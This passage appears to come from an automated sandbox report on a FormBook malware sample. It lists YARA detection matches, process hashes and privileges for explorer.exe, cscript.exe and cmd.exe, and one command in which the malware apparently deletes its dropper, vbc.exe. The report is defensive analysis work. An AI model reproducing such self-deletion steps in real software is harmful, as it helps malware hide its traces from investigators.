Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000005.00000001.459709526.0000000000400000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000005.00000001.459709526.0000000000400000.00000040.00020000.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000005.00000001.459709526.0000000000400000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000005.00000000.457834492.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000005.00000000.457834492.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000005.00000000.457834492.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: low

Show Windows behavior

Start time: 19:23:44

Start date: 25/11/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Explorer.EXE

Imagebase: 0xffa10000

File size: 3229696 bytes

MD5 hash: 38AE1B3C38FAEF56FE4907922F0385BA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

File ReadFile Read

Analysis Process: explorer.exe PID: 1764 Parent PID: 1292Analysis Process: explorer.exe PID: 1764 Parent PID: 1292

General
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File ActivitiesFile Activities

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000000.486605317.0000000007EF9000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000006.00000000.486605317.0000000007EF9000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000000.486605317.0000000007EF9000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000006.00000000.479874568.0000000007EF9000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000006.00000000.479874568.0000000007EF9000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000006.00000000.479874568.0000000007EF9000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: high

Show Windows behavior

File ActivitiesFile Activities

Start time: 19:23:56

Start date: 25/11/2021

Path: C:\Windows\SysWOW64\cscript.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\cscript.exe

Imagebase: 0xa40000

File size: 126976 bytes

MD5 hash: A3A35EE79C64A640152B3113E6E254E2

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000002.661950337.0000000000070000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000007.00000002.661950337.0000000000070000.00000040.00020000.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000002.661950337.0000000000070000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000002.661999463.00000000001A0000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000007.00000002.661999463.00000000001A0000.00000040.00020000.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000002.661999463.00000000001A0000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000002.662048126.00000000002D0000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000007.00000002.662048126.00000000002D0000.00000004.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000002.662048126.00000000002D0000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: moderate

Show Windows behavior

Analysis Process: cscript.exe PID: 2216 Parent PID: 1764Analysis Process: cscript.exe PID: 2216 Parent PID: 1764

General

File ReadFile Read
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Disassembly

Code Analysis

Copyright Joe Security LLC

File ActivitiesFile Activities

Start time: 19:24:01

Start date: 25/11/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: /c del "C:\Users\Public\vbc.exe"

Imagebase: 0x4a950000

File size: 302592 bytes

MD5 hash: AD7B9C14083B52BC532FBA5948342B98

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Analysis Process: cmd.exe PID: 772 Parent PID: 2216Analysis Process: cmd.exe PID: 772 Parent PID: 2216

General

File DeletedFile Deleted
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